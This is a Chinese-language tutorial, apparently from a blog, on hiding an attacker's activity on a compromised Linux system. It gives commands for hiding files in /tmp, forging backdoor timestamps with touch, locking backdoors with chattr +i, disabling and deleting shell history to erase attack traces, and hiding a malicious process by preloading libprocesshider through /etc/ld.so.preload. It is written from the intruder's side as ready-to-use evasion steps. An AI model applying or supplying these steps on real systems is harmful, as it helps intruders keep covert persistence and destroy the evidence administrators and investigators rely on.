目录
0x01 隐藏文件
0x02 隐藏文件时间戳
0x03 隐藏权限
0x04 隐藏历史操作命令
技巧一:只针对你的工作关闭历史记录
技巧二:从历史记录中删除指定的命令
0x05 进程隐藏
第一种方法:libprocesshider
Linux 下创建一个隐藏文件:touch .test.txt
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件
一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 1.php 的时间,再赋给 2.php,结果两个文件的时间就一样了。
利用方法
touch -r 1.php 2.php
或者直接将时间戳修改成某年某月某日。如下 2020年 01 月 02 日。
touch -t 2001021042.30 1.php
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。
chattr +i 1.php 锁定文件
lsattr 1.php 属性查看
chattr -i 1.php 解除锁定
rm -rf 1.evil.php 删除文件
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
[space]set +o history备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
github项目地址:https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
# 下载程序编译git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
测试:运行 evil_script.py后,会发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。